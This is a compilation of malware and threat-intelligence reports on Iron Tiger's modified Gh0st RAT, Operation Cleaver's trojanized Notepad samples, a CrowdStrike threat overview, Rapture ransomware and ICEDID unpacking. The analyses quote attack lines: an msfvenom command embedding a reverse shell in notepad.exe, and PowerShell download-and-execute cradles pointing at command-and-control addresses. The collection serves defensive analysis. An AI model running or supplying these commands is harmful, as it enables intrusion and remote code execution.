During a forensic investigation in March 2018, we were able to retrieve some files linked with a well-known group named Iron Tiger. From our research, we believe that the perpetrator hasn’t shown any advanced technical capabilities in this attack. In fact, the main goal was to mine cryptocurrency. During the investigation, we found several tools such as password dumpers, Monero cryptocurrency miners, portable executable (PE) injectors, and a modified version of Gh0st RAT. Even though Bitdefender and TrendMicro have published reports describing some of the tools used by the group, we were not able to find any references to this specific modified version of Gh0st RAT. Therefore, the purpose of this blog is to briefly describe the modified Gh0st RAT version that is used by the group.
## The Malicious Payload
Firstly, a malicious executable file is executed which will drop a batch file (install.bat) and a cabinet file (data.cab) under a new folder in C:\ProgramData with a random name. The cabinet file includes two files: the malicious shellcode which is partially encrypted and a Dynamic-link library (DLL) which will execute the malicious shellcode. The malicious executable file will then execute the batch file, which will decompress and execute the DLL file. Persistence is achieved by creating a new service or a new registry key, depending on the privileges that the malware has.
Once the execution is passed to the shellcode, it will decrypt the rest of the encrypted data using a single byte as the key in an eXclusive OR (XOR) loop. After decryption, the following interesting string is observed:
`Microsoft.Windows.BNG|[C&C IP address]:443;|1;1;1;1;1;1;1;|00-24;|1`
The main goal of the shellcode is to load and execute the attacker’s plugins in memory.
## Modified Gh0st RAT
While analyzing the previous files, we found a folder named ‘Plugins’ with some interesting DLLs inside and two files which required a password upon execution. After reversing the binary, we found out that the password is not hardcoded. Instead, the password is based on the current year and month. For example, the password for the month of March in 2018 is ‘201803’.
The first file, named ‘Noodles’, seems to be an old modified version of Gh0st RAT based on compilation date and features. The second file named ‘Mozilla’ is the primary tool used for this attack. Currently, both tools can listen on any given ports, but only ‘Mozilla’ can connect to a bind port. The supported protocols include Secure Sockets Layer (SSL) and Transmission Control Protocol (TCP). One of the protocols in the list is named, according to the malware authors, ‘WINNET’, but this is not supported yet and an error message is displayed. This might suggest that this tool is still in development and there are plans to add additional functionality.
Additionally, analysis of the Mozilla tool identified a Program database (PDB) path inside the binary:
`K:\Mozilla\Mozillav6.0.x_dll\WorkActive\Release\Mozilla.pdb`
The tool heavily relies on plugins. When there is a new victim connection, the attacker can use the PluginManager to load new plugins to the infected machine. Most of the available plugins are based on the Gh0st RAT source code.
## Network Communication
The network traffic between the victim and the attacker is encrypted using Rivest Cipher 4 (RC4). The key is unique for each request and is encrypted using ‘XOR’ and ‘AND’ instructions. The key is stored in the first 28 bytes of the request. We wrote a Python script that takes as input a network capture (PCAP) and decrypts it.
For example, below we can see the initial connection between a victim and the C2 server, where the machine name is sent:
```
Data to server..
[i] Found key: C8410061440A01c762FA9000
00000000: 0501570049004E00 2D00510047004F00 ..W.I.N.-.Q.G.O.
00000010: 3400430051004E00 49004F004E003500 4.C.Q.N.I.O.N.5.
```
And below the distinctive start of a PE file is seen, as a plugin is transferred to the client:
```
Data to client..
[i] Found key: C841006804EC089c84EA9020
00000000: 4D5A900003000000 04000000FFFF0000 MZ..............
00000010: B800000000000000 4000000000000000 ........@.......
00000020: 0000000000000000 0000000000000000 ................
00000030: 0000000000000000 00000000F0000000 ................
00000040: 0E1FBA0E00B409CD 21B8014CCD215468 ........!..L.!Th
00000050: 69732070726F6772 616D2063616E6E6F is program canno
00000060: 742062652072756E 20696E20444F5320 t be run in DOS
00000070: 6D6F64652E0D0D0A 2400000000000000 mode....$.......
```
## IOCs
**Command and Control (C&C) IPs:**
- 23.227.207.137
- 89.249.65.194
**Malicious files directory:**
- C:\ProgramData\HIDMgr
- C:\ProgramData\Rascon
- C:\ProgramData\TrkSvr
**Malicious service name:**
- HIDMgr
- RasconMan
- TrkSvr
**Registry key for persistence:**
- ‘rundll32.exe_malicious_DLL_path’ in ‘HKCU\Software\Microsoft\Windows\CurrentVersion\Run’
**File names and hashes:**
| Filename | Hash (SHA-256) |
|---------------------|---------------------------------------------------------|
| Mozilla.exe | EE04B324F7E25B59D3412232A79D1878632D6817C3BB49500B214BF19AFA4E2C |
| Updateproxy.dll | 0BA49FEB7784E6D33D821B36C5C669D09E58B6795ACA3EEBBF104B763B3B3C20 |
| Telnet.dll | 33B7407E534B46BF8EC06D9F45ECD2D3C7D954340669E94CD7CEDCBAE5BAD2DD |
| Socks.dll | 6160AF383794212B6AD8AB9D6D104BBE7AEFB22410F3AB8EA238F98DABFC48B7 |
| Shell.dll | C63B01C40038CA076072A35913F56D82E32FCEE3567650F3392B5C5DA0004548 |
| Session.dll | D51EC4ACEAFA971E7ABD0CF4D27539A4212A448268EF1DB285CD9CE9024D6EB3 |
| Screen.dll | BD8086DE44E16EFDD380E23E49C4058D956538B01E1AE999B679B6B76B643C7D |
| Port.dll | B44A9545B697B4D46D5B96862A6F19EA72F89FED279F56309B2F245AC8380BE0 |
| File.dll | F4DF97108F18654089CFB863F2A45AA41D17A3CE8A44CCCC474F281A20123436 |
| ConEmu.exe | D31D38403E039F5938AE8A5297F35EB5343BB9362D08499B1E07FAD3936CE6F7 |
| Noodles.exe | A591D4D5B8D23FF12E44A301CE5D4D9BF966EBA0FC0068085B4B4EC3CE352963 |
| Coal.exe | EEBFF21DEF49AF4E85C26523AF2AD659125A07A09DB50AC06BD3746483C89F9D |
| Abg.exe | 97B9D7E16CD6B78A090E9FA7863BD9A57EA5BBE6AE443FA788603EEE5DA0BFC3 |
| 23d.exe | B6C21C26AEF75AD709F6C9CFA84BFA15B7EE709588382CE4BC3544A04BCEB661 |
| 89d.exe | DB9B9FA9EFA53662EC27F4B74B79E745F54B6C30C547A4E5BD2754E9F635F6DB |
Published date: 17 April 2018
Written by: Nikolaos Pantazopoulos |
# Operation Cleaver: The Notepad Files
You see some strange stuff out there on the networks where attackers are active. Certainly, the stash of files unearthed during the Operation Cleaver investigation included much of the bizarre and something of the terrible. Brian Wallace, who led the investigation, shared a mysterious set of samples with me awhile back, and now that Operation Cleaver is public, I'll relate the lurid technical details.
## The Notepad Files
The files in question were found in a dim and dusty directory on a forlorn FTP server in the US, commingled with the detritus of past attack campaigns and successful compromises. They were at once familiar and strange, and they were made still stranger and more perplexing by their location and the circumstances of their discovery. All around them was a clutter of credential dumps, hacking utilities, RATs, and even legitimate software installers, but the files in question were none of these. They were Notepad.
Of course, a purloined Notepad icon in malware is nothing new, but something different was going on here. Within each of the two families, all of the samples had the same main icon, file size, and version information, yet each one had a distinct hash. At the time, only one of those five hashes existed on the internet: the official 32-bit Simplified Chinese Notepad from Windows XP x64 / Windows Server 2003. Suspecting that the remaining Notepads were derivatives of official Windows files, we associated the other member of the first family with the confirmed legitimate Notepad, and we matched the second family with the 32-bit US English Notepad from Windows 7 (not present in the original set).
| MD5 | File Name | File Size | File Version |
|------------------------------------------------|-----------------------|-----------|---------------------------------------|
| 83868cdff62829fe3b897e2720204679 | notepad.exe | 66,048 | 5.2.3790.3959, Chinese (Simplified, PRC) |
| bfc59f1f442686af73704eff6c0226f0 | NOTEPAD2.EXE | 179,712 | 6.1.7600.16385, English (United States) |
| e8ea10d5cde2e8661e9512fb684c4c98 | Notepad3.exe | 179,712 | 6.1.7600.16385, English (United States) |
| baa76a571329cdc4d7e98c398d80450c | Notepad4.exe | 66,048 | 5.2.3790.3959, Chinese (Simplified, PRC) |
| 19d9b37d3acf3468887a4d41bf70e9aa | notepad10.exe | 179,712 | 6.1.7600.16385, English (United States) |
| d378bffb70923139d6a4f546864aa61c | -- | 179,712 | 6.1.7600.16385, English (United States) |
Things got interesting when we started comparing the Notepads at the byte level. The image below depicts some byte differences between the original Windows 7 Notepad and samples NOTEPAD2.EXE and Notepad3.exe.
At the Portable Executable (PE) level, these differences translate to changes in the files' timestamps, the relative virtual addresses (RVAs) of their entry points, and their checksums. The timestamps were rolled back by weeks to months relative to the legitimate progenitors' timestamps; we don't know why. The entry points retreated or advanced by hundreds of bytes to dozens of kilobytes, for reasons we'll explore shortly. And the checksums were all zeroed out, presumably because the file modifications invalidate them; invalid non-zero checksums are a tip-off, and zeroing is easier than recomputing.
So what's the story with all those other modifications? In all cases, they seem to be confined to the ".text" section, centrally located to avoid the import directory, debug directory, load configuration directory, and import address table. This makes sense as a general precaution, considering that corrupting the import directory would unhelpfully crash the Windows loader during process initialization.
While the arrangement of the structures varies among families, it's clear that the region between structures containing the original entry point has in each case been filled with modifications. Notably, each sample has a short run of consecutive modifications immediately following the new entry point, and then a longer run elsewhere in the region. Presumably, both runs are injected malicious code, and the other modifications may well be random noise intended as a distraction. Since there are no other changes and no appended data, it's reasonable to assume that the code that makes a Notepad act like Notepad is simply gone, and that the samples will behave only maliciously. If true, then these modifications would represent a backdooring or "Trojanization" rather than a parasitic infection, and this distinction implies certain things about how the Notepads were made and how they might be used.
## Tales from the Code
Let's take a look at the entry point code of the malicious Notepads and see if it aligns with our observations. The short answer is, it looks like nonsense. Here's a snippet from Notepad4.exe:
```
010067E3 sbb eax, 2C7AE239
010067E8 test al, 80
010067EA test eax, 498DBAD5
010067F0 jle short 01006831
010067F2 sub eax, B69F4A73
010067F7 or edx, esi
010067F9 jnz short 01006800
010067FB inc ebx
010067FC mov cl, 91
010067FE cwde
010067FF jnp short 01006803
```
At this point, the code becomes difficult to list due to instruction scission, or branching into the middle of an instruction. For instance, the JNP instruction at 010067FF is a two-byte instruction, and the JNZ branch at 010067F9, if satisfied, jumps to the JNP instruction's second byte at 01006800. That byte begins a different two-byte instruction, which incorporates what would have otherwise been the first byte of the instruction after the JNP, meaning its successor will start in the middle of JNP's successor, and so on. The two execution paths usually (but don't necessarily) converge after a few instructions.
The outcome of these instructions depends on the initial state of the registers, which is technically undefined. Seeing code operate on undefined values typically suggests that the bytes aren't code after all and so shouldn't have been disassembled. But keep looking. Notice that there are no memory accesses, no stack pointer manipulation, no division instructions, no invalid or privileged instructions, no interrupts or indirect branches--really, no uncontrolled execution transfers of any kind.
Even more tellingly, all the possible execution paths seem to eventually flow to this code:
```
01006877 mov ch, 15
01006879 cmp eax, 4941B62F
0100687E xchg eax, ebx
0100687F mov cl, 4B
01006881 stc
01006882 wait
01006883 xchg eax, ecx
01006884 inc ebx
01006885 cld
01006886 db 67
01006887 aaa
01006888 cwde
01006889 sub eax, 24401D66
0100688E dec eax
0100688F add al, F8
01006891 jmp 01005747
```
Here the gaps in the listing indicate when the disassembly follows an unconditional branch. The code seems to abruptly change character after the jump at 01006891, transitioning from gibberish to a string of short sequences connected by unconditional branches. This transition corresponds to a jump from the end of the short run of modifications to the beginning of the longer run of modifications.
In the disassembly above, the first sequence of green lines is a clear CALL-POP pair intended to obtain a code address in a position-independent way. No way is this construct a coincidence. Furthermore, the blue lines strongly resemble the setup for a VirtualAlloc call typical of a deobfuscation stub, and the second set of green lines invoke the CALL-POPped function pointer with what one might readily assume is a hash of the string "VirtualAlloc".
There's plenty more to observe in the disassembly, but, let's fast-forward past it.
```
windbg -c "bp kernel32!VirtualAlloc ; g" Notepad4.exe...
```
And now we can dump the extracted code from memory. It isn't immediately gratifying:
```
00100000 fabs
00100002 mov edx, 4DF05534 ; = initial XOR key
00100007 fnstenv [esp-0C] ; old trick to get EIP
0010000B pop eax
0010000C sub ecx, ecx
0010000E mov cl, 64 ; = length in DWORDs
00100010 xor [eax+19], edx
00100013 add edx, [eax+19] ; XOR key is modified after each DWORD
00100016 add eax, 4
00100019 db D6
```
The byte 0xD6 at address 00100019 doesn't disassemble, and there aren't any branches skipping over it. But check out the instructions just above it referencing "[eax+19]". The code is in a sense self-modifying, flowing right into a portion of itself that it XOR decodes. The first decoded instruction is "LOOP 00100010", which will execute the XOR loop body 99 more times and then fall through to the newly-decoded code.
When we run this decoding stub to completion, we're rewarded with... another decoding stub:
```
0010001B fcmovu st, st(1) ; a different initial FPU instruction from above
0010001D fnstenv [esp-0C] ; different ordering of independent instructions
00100021 mov ebx, C2208861 ; a different initial XOR key and register
00100026 pop ebp ; a different code pointer register
00100027 xor ecx, ecx ; XOR as an alternative to SUB for zeroing counter
00100029 mov cl, 5D ; a shorter length
0010002B xor [ebp+1A], ebx ; decoding starts at a different offset
0010002E add ebx, [ebp+1A]
00100031 sub ebp, FFFFFFFC ; SUB -4 as an alternative to ADD +4
00100034 loop 000FFFCA ; instruction is partly encoded
```
Here, the first byte to be XORed is the second byte of the LOOP instruction, hence the nonsensical destination apparent in the pre-decoding disassembly above. Run that to completion, and then...
```
00100036 mov edx, 463DC74D
0010003B fcmovnbe st, st(0)
0010003D fnstenv [esp-0C]
00100041 pop eax
00100042 sub ecx, ecx
00100044 mov cl, 57 ; notice the length gets shorter each time
00100046 xor [eax+12], edx
00100049 add eax, 4
0010004C add ebx, ds:[47B3DFC9] ; instruction is partly encoded
```
And then...
```
00100051 fcmovbe st, st(0)
00100053 mov edx, 869A5D73
00100058 fnstenv [esp-0C]
0010005c pop eax
0010005d sub ecx, ecx
0010005f mov cl, 50
00100061 xor [eax+18],edx
00100064 add eax, 4
00100067 add edx, [eax+67] ; instruction is partly encoded
```
And then...
```
0010006C mov eax, E878CF4D
00100071 fcmovnbe st, st(4)
00100073 fnstenv [esp-0C]
00100077 pop ebx
00100078 sub ecx, ecx
0010007A mov cl, 49
0010007C xor [ebx+14], eax
0010007F add ebx, 4
00100082 add eax, [ebx+10]
00100085 scasd ; incorrect disassembly of encoded byte
```
Finally, at the end of six nested decoders, we see the light:
```
00100087 cld
00100088 call 00100116
0010008D pushad
0010008E mov ebp, esp
00100090 xor edx, edx
00100092 mov edx, fs:[edx+30] ; PTEB->ProcessEnvironmentBlock
00100096 mov edx, [edx+0C] ; PPEB->Ldr
00100099 mov edx, [edx+14] ; PPEB_LDR_DATA->InMemoryOrderModuleList
0010009C mov esi, [edx+28] ; PLDR_MODULE.BaseDllName.Buffer
0010009F movzx ecx, word ptr [edx+26] ; PLDR_MODULE.BaseDllName.MaximumLength
001000A3 xor edi, edi
001000A5 xor eax, eax
001000A7 lodsb
001000A8 cmp al, 61 ; check for lowercase letter
001000AA jl 001000AE
001000AC sub al, 20 ; convert to uppercase
001000AE ror edi, 0D
001000B1 add edi, eax
```
It looks like a call over a typical module or export lookup function. In fact, it is, and as the ROR-ADD pair suggests, it implements module name and export name hashing, the algorithms of which can be expressed as follows:
```c
unsigned int GetModuleNameHash(PLDR_MODULE pLdrModule) {
unsigned int hash = 0;
char * p = (char *) pLdrModule->BaseDllName->Buffer;
for (int n = pLdrModule->BaseDllName->MaximumLength; n != 0; p++, n--) {
char ch = *p;
if (ch >= 'a') ch -= 0x20;
hash = _rotr(hash, 13) + (unsigned char) ch;
}
return hash;
}
unsigned int GetExportNameHash(char *pszName) {
unsigned int hash = 0;
for ( ; ; pszName++) {
hash = _rotr(hash, 13) + (unsigned char) *pszName;
if (*pszName == 0) break;
}
return hash;
}
```
Still, this is all just preamble. What is the point that it eventually gets to? You'd be forgiven for assuming that the tremendous amount of effort poured into obfuscation means there's some treasure beyond all fables at the bottom of this erstwhile Notepad. Sorry. It just downloads and executes a block of raw code. (Spoiler: it's actually a Metasploit reverse connect stager.) Here is its behavior summarized as function calls:
- `kernel32!LoadLibraryA("ws2_32")`
- `ws2_32!WSAStartup(...)`
- `s = ws2_32!WSASocketA(AF_INET, SOCK_STREAM, ...)`
- `ws2_32!connect(s, { sin_family = AF_INET, sin_port = htons(12345), sin_addr = 108.175.152.230 }, 0x10)`
- `ws2_32!recv(s, &cb, 4, 0)`
- `p = kernel32!VirtualAlloc(NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE)`
- `ws2_32!recv(s, p, cb, 0)`
- `p()`
The above is known to be true for Notepad3.exe, Notepad4.exe, and notepad10.exe. NOTEPAD2.EXE doesn't seem to want to run, for reasons we didn't bother to troubleshoot for the bad guys.
## Denouement
Unfortunately, we never did obtain a sample of the code that might have been downloaded. The key to that enigma-embedded, mystery-wrapped riddle is forever lost to us. The best we can do is read what's written in the Notepads and speculate as to why they exist at all.
Clearly, whatever generator created these Notepads is far beyond the technical understanding of the Cleaver team. It stands to reason that there is a generator--no chance these were crafted by hand--and that its sophistication is even greater than that of its output. Something like that wouldn't be used only once. If this team was able to get ahold of it, it must be out there. Turn the right corner of the internet, and you can find anything...
Well, it so happens that we did eventually find it. Some of you have no doubt suspected it all along, and now I'll humbly confirm it for you: the Notepads were, in their entirety, generated by Metasploit. Something along the lines of `msfvenom -x notepad.exe -p windows/shell/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=108.175.152.230 LPORT=12345 > Notepad4.exe`. The "msfvenom" tool transmogrifies a Metasploit payload into a standalone EXE, and with the "-x" switch, it'll fuse the payload--encoded as desired--into a copy of an existing executable, exhibiting exactly the behavior we just described.
However, we're still left to wonder what Cleaver was up to when they generated all those Notepads. One conclusion Brian proposed is that they're intended as backdoors--replacements for the legitimate Notepad on a compromised system--which would enable Cleaver to regain access to a system at some indeterminate time in the future, the next time a user runs Notepad. The team demonstrated a similarly intentioned tactic with a connect-back shell scheduled to run in a six-minute window each night; the Notepad replacement, while more intrusive, could be another example of this contingency planning tendency.
Or maybe the Notepads were only an aborted experiment, attempted and shelved, forgotten in a flurry of compromises and criminal activity. If nothing else, they made for an unexpected bit of mystery. |
# INTRODUCTION
At CrowdStrike, a fundamental belief is that intelligence powers everything we do. It drives our next-generation endpoint protection, fuels our incident response teams so they can resolve incidents faster, and is consumed by our customers and their enterprise tools, allowing them to detect and stop attacks.
A well-known proverb captures the essence of intelligence: In the land of the blind, the one-eyed man is king. One who is better informed than his adversaries will have the advantage. Intelligence helps remove uncertainty from decision making; businesses around the world use various types of intelligence to ascertain what markets they should focus on and how they should enter those markets. Intelligence about what personnel, which business units, or what products are being targeted by malicious threat actors can similarly aid in the decision-making process for the business. This transcends the security operations center and incident response measures. This information can help the business make more informed decisions, from the IT team, the C-suite, and even the board of directors.
Increasingly, organizations around the globe are using threat intelligence to make their enterprises smarter and more resilient. These organizations use threat intelligence to stay ahead of the adversary. As more and more organizations begin to utilize threat intelligence, the value in understanding what these threats mean to the business becomes evident. Intelligence powers everything we do, and it can power everything you do as well.
This year’s CrowdStrike Intelligence Global Threat Report contains a wealth of intelligence regarding adversary behavior, capabilities, and intentions. More importantly, it ties it back to the events that influenced those activities. By understanding the events that shape the beliefs and motivations of threat actors—regardless if they are criminal, nation-state, or hacktivist—it is possible to comprehend what drove the adversaries to behave as they did, and perhaps to understand what this will mean for the future. The hope is that this report will provide a lens by which the reader can begin to view the world through the eyes of the attacker and use that information to stay ahead of the adversary—or as some might say, “to the left of boom.”
This report is organized differently from our previous Global Threat Reports. In years past, the reports contained a review of notable activity followed by adversary-specific information, and they culminated in a looking forward section. These reports were contiguous and meant to be read from start to finish. This report is designed to flow more like a magazine; there are feature reports on various topics, smaller pieces meant to augment those topics, and profiles of select adversaries. The basic structure covers the three adversary motivations tracked by CrowdStrike: Targeted Intrusion, eCrime, and Hacktivism. This is followed by a review of predictions from last year’s report to track how those predictions panned out, and what to expect for 2016.
## Adversary Operational Security
In the 2014 report, CrowdStrike assessed that the launch of the free SSL certificate service Let’s Encrypt might have an impact on increased usage of secure communication protocols by adversary tools. Let’s Encrypt did not launch as expected, and it only entered public beta in the final weeks of 2015. Even with the late 2015 launch, public reporting indicates that certificates from Let’s Encrypt were misused in an Angler campaign within weeks of the public beta.
CrowdStrike also advised that it was possible that adversaries would deploy more sophisticated encryption schemes in 2015. CrowdStrike did observe a number of adversaries increasingly implementing Virtual Private Networks (VPNs), novel encryption schemes, and Point-to-Point encryption solutions in 2015. This dynamic by multiple actors was observed across all adversary motivations.
CrowdStrike assessed that we would see increased targeting of embedded devices by various actors. This is well highlighted by the actions of GEKKO JACKAL, who deployed a massive botnet using a weakness introduced by the Shellshock vulnerability on embedded routers, cameras, and other network-attached devices. Targeted intrusion actors were observed compromising Cisco routers and switches in victim environments, and an unknown actor has been tracked compromising embedded devices across the globe.
CrowdStrike did not need a crystal ball for this one; we assessed that China would continue conducting espionage that supported objectives laid out in the 12th Five-Year Plan, supported their agenda in the South China Sea, and worked against an increasingly defiant Taiwan. We further assessed that China would continue to conduct attacks in support of “soft power” initiatives.
## R&D
A key component of understanding the threat landscape and where it is going is to observe the direction of security research. Tomorrow’s exploitable vulnerability or security bypass is likely being explored by researchers today. Time and time again the security community’s research has been picked up by savvy attackers and forged into a weapon used by adversaries to achieve their goals.
Over the years, an arms race has been raging between system designers and researchers driving down to the silicon chips that support the boot process, exposing previously unknown flaws in software that we rely on every day. This leads to enhanced protections, and in some cases, wily attackers can use the flaws to compromise systems at a very low level.
Virtual Machine computing is another area of intense research. In the last year, it became apparent here, too, that low-level drivers and code to support antiquated devices could diminish the security of the overall system. With these research stories slowly percolating into the mainstream media, it is important to keep an eye on novel research that may lead to critical exposures in the future.
## Attacks and Incidents
Throughout 2015 numerous notable events took place that demonstrated potential misuse of TLS and possible implications of such misuse. In February 2015, it was revealed that computer maker Lenovo had been pre-installing the Superfish Visual Search software on its computers running Windows. This software installed a static TLS root certificate authority (CA) and corresponding private key into the system, thereby placing every user at risk of being attacked via a Man-In-The-Middle attack on the TLS protocol. Lenovo published an apology to its users and released a removal tool as open-source software.
In December, the government of Kazakhstan announced that it would require Internet users to install a custom root CA certificate, thereby making it possible for the government to intercept all of the HTTPS connections of its citizens.
One alarming trend is for security software, such as anti-virus programs, to do TLS interception and inspection by installing their own certificate into the browser root CA store. While these tools generate a certificate for each installation, they sometimes introduce other weaknesses. During a survey, it was discovered that commonly used AV software such as Avast, Kaspersky, and ESET would degrade the security of TLS by being susceptible to the FREAK and CRIME attacks.
In January, the Certificate Transparency project by Google started to be made mandatory for Extended Validation (EV) certificates in the Chrome browser. This project, which is basically a verifiable log of issued certificates, will make it impossible for a CA to issue a certificate without the rightful domain owner becoming aware of it.
## Targeted Criminal Intrusion
During 2015, cases of targeted intrusion were observed by groups dubbed Carbanak, Butterfly (a.k.a. Wild Newtron), and FIN4. These groups have all used customized malware to target large organizations for high-value financial gain. CrowdStrike assesses it is likely that targeted criminal activity will continue to increase in the coming year.
Commodity Malware markets used to obtain banking Trojans and ransomware will both increase and diversify with more malware family authors attempting to gain increased market share. Criminal actors often obtain malware, exploits, and binders (packers) from underground markets and forums; competition in these forums has been observed and continues to increase.
## Conclusion
The report provides insights into the evolving threat landscape, highlighting the importance of understanding adversary motivations and behaviors. As organizations continue to face sophisticated threats, leveraging intelligence will be crucial in staying ahead of adversaries and making informed decisions. |
# Rapture: A Ransomware Family With Similarities to Paradise
**April 28, 2023**
## Introduction
In March and April 2023, we observed a type of ransomware targeting its victims via a minimalistic approach with tools that leave only a minimal footprint behind. Our findings revealed many of the preparations made by the perpetrators and how quickly they managed to carry out the ransomware attack.
The memory dump during the ransomware’s execution reveals an RSA key configuration file similar to that used by the Paradise ransomware. To make analysis more difficult, the attackers packed the Rapture ransomware using Themida, a commercial packer. Rapture requires at least a .NET 4.0 framework for proper execution; this suggests more similarities with Paradise, which has been known to be compiled as a .NET executable. For this reason, we dubbed this ransomware type as Rapture, a closely related nomenclature to Paradise. It is important to note that although it shares certain similarities with Paradise, Rapture’s behavior is different from the former.
## Discovery, Reconnaissance, and Staging
In April, we found a couple of ransomware activities that appear to be injected in legitimate processes. By tracing these activities back to the source process, we found that the ransomware appeared as an activity loaded into memory from a Cobalt Strike beacon. In some instances, the attackers dropped the ransomware in a folder or drive as a *.log file:
- E:\ITS.log
- C:\[Redacted]\Aps.log
The Rapture ransomware drops its notes to every traversed directory (the first six characters might appear to be random, but they are actually hard-coded string configurations).
- 7qzxid-README.txt
- qiSgqu-README.txt
It then appends the same six characters to the following encrypted files:
- *.7qzxid
- *.qiSgqu
Rapture requires certain command lines to execute properly. Once the correct argument is passed to the malicious file, it will start the ransomware routine as also displayed in its console window.
The dropped ransom note bears some resemblance to the Zeppelin ransomware (although we believe this is the only connection between the two). We tried to glean additional information from the ransom note and discovered that the Rapture ransomware has been around for a while now, but there were no samples available during its initial sighting.
During our investigation, we discovered that the whole infection chain spans three to five days at most (counting from the time of discovery of the reconnaissance commands). Rapture’s operators first perform the following, likely to guarantee a more successful attack:
- Inspect firewall policies
- Check the PowerShell version
- Check for vulnerable Log4J applets
After a successful reconnaissance routine, the attackers proceed with the first stage of the attack by downloading and executing a PowerShell script to install Cobalt Strike in the target’s system.
After the reconnaissance stage, the attackers will try to gain access to the victim’s network (likely through vulnerable public-facing websites and servers since their initial entry is via w3wp.exe for PowerShell execution).
The following command is used for the first execution instance of PowerShell through w3wp.exe:
```
/c powershell set-alias -name aspersky -value Invoke-Expression;aspersky(New-Object Net.WebClient).DownloadString(‘[hxxp]://195.123.234[.]101:80/Sharepoint/Pickers.aspx’)
```
Meanwhile, the second execution instance, this time from Windows Management Instrumentation (WMI), is done via the following command:
```
/c powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('[hxxp]://195.123.234[.]101:80/Microsoft/Online')
```
The attacks use a unique method of obtaining higher privileges to execute the payload. By default, there is a task in newer versions of Windows called CreateExplorerShellUnelevatedTask that prevents explorer.exe from running with elevated privileges. However, if explorer.exe is launched using the command line /NOUACCHECK, it inherits the elevated status from the parent process. In this case, the malicious actors injected the malicious activity into an existing svchost.exe, which serves as the parent process. The svchost.exe process then executes explorer.exe using the /NOUACCHECK command. Once this is done, explorer.exe can then be used to drop and execute the second stage Cobalt Strike beacon downloader.
The second-stage downloader will then connect to the following address to download the main Cobalt Strike beacon:
```
195.123.234[.]101/DoFor/review/Mcirosoft
```
The data response from the command-and-control (C&C) server contains the encrypted beacon sandwiched in the middle of a JavaScript file (with the script code bearing no actual usage or significance for the malware chain). The downloader decrypts the sandwiched code and then executes the Cobalt Strike beacon.
The second (main) stage beacon will attempt to connect to another subfolder in the same C&C server, where it will attempt to receive the backdoor command and other payloads. Similarly, the response of the C&C server is also sandwiched in another JavaScript code that will be decoded by the following beacon:
```
195.123.234[.]101/Make/v8.01/Sharepoint
```
Based on our analysis of the decrypted C&C response from the beacon, we have deduced that the decoded content will have the following structure (after the beacon removes the garbage padding):
| Offset | Length | Data | Description |
|--------|--------|------|-------------|
| 0x00 | 0x04 | N/A | Four-byte header |
| 0x04 | 0x04 | 0x04000000 | Flag (big endian will convert to little endian after decryption) |
| 0x08 | 0x04 | 0xnn000000 | Backdoor command (big endian will convert to little endian after decryption) |
| 0x0c | 0x04 | N/A | Data size, length of additional data from the response; big endian will convert to little endian after decryption |
| 0x10 | Depends on [0x0c] | N/A | Additional data to be supplied to some of the backdoor commands |
We found that the beacon performed ransomware activities in the majority of the affected systems, which implies that the code is downloaded and executed in memory except for a few machines where we found the actual ransomware.
We tried to gather more information about the Cobalt Strike beacon via its watermark, where we discovered that the same watermark is also used by other threat actors. This indicates that it is likely that Rapture’s operators are using a pirated Windows license which is also being used by several others.
## Conclusion
The Rapture ransomware is cleverly designed and bears some similarities to other ransomware families such as Paradise. Although its operators use tools and resources that are readily available, they have managed to use them in a way that enhances Rapture’s capabilities by making it stealthier and more difficult to analyze. As is the case with many modern families, these types of fairly sophisticated ransomware are beginning to become the norm in many present-day campaigns.
## Recommendations and Solutions
To protect their systems from ransomware attacks, organizations can implement security frameworks that systematically allocate resources to establish a robust defense strategy. Here are some recommended guidelines for organizations to consider:
- Conduct an inventory of assets and data.
- Identify authorized and unauthorized devices and software.
- Audit event and incident logs.
- Manage hardware and software configurations.
- Grant admin privileges and access only when necessary for an employee's role.
- Monitor network ports, protocols, and services.
- Establish a software allowlist that only allows legitimate applications to execute.
- Implement data protection, backup, and recovery measures.
- Enable multifactor authentication (MFA).
- Deploy the latest versions of security solutions to all layers of the system, including email, endpoint, web, and network.
- Watch for early signs of an attack, such as the presence of suspicious tools in the system.
Organizations can adopt a multifaceted approach to secure potential entry points into their systems, such as endpoints, emails, webs, and networks. By using security solutions that can detect malicious elements and questionable activities, enterprises can protect themselves from ransomware attacks.
A multilayered approach can help organizations guard possible entry points into their system (endpoint, email, web, and network). Security solutions can detect malicious components and suspicious behavior, which can help protect enterprises.
- Trend Micro Vision One™ provides multilayered protection and behavior detection, which helps block questionable behavior and tools before the ransomware can do any damage.
- Trend Micro Cloud One™ – Workload Security protects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning.
- Trend Micro™ Deep Discovery™ Email Inspector employs custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware.
- Trend Micro Apex One™ offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints. |
# Unpacking ICEDID
A comprehensive tutorial with Elastic Security Labs open source tools
**By Cyril François**
**04 May 2023**
**English**
## Preamble
ICEDID is a malware family discovered in 2017 by IBM X-force researchers and is associated with the theft of login credentials, banking information, and other personal information. ICEDID has always been a prevalent family but achieved even more growth since EMOTET’s temporary disruption in early 2021. ICEDID has been linked to the distribution of several distinct malware families including DarkVNC and COBALT STRIKE. Regular industry reporting, including research publications like this one, help mitigate this threat.
ICEDID is known to pack its payloads using custom file formats and a custom encryption scheme. Following our latest ICEDID research that covers the GZip variant execution chain, this tutorial will introduce these tools by unpacking a recent ICEDID sample starting with downloading a copy of the fake GZip binary.
Analyzing malware can be dangerous to systems and should only be attempted by experienced professionals in a controlled environment, like an isolated virtual machine or analysis sandbox. Malware can be designed to evade detection and infect other systems, so it's important to take all necessary precautions and use specialized tools to protect yourself and your systems.
## Environment setup
For this tutorial, we’re using Windows 10 and Python 3.10. Elastic Security Labs is releasing a set of tools to automate the unpacking process and help analysts and the community respond to ICEDID.
| Script | Description | Compatibility |
|------------------------------------------------|-------------------------------------------|-----------------------------------|
| decrypt_file.py | Decrypt ICEDID encrypted file | Windows and others (not tested) |
| gzip_variant/extract_gzip.py | Extract payloads from ICEDID fake GZip file | Windows and others (not tested) |
| gzip_variant/extract_payload_from_core.py | Extract and decrypt payloads from the rebuilt ICEDID core binary | Windows and others (not tested) |
| gzip_variant/load_core.py | Load and execute core custom PE binary | Windows only |
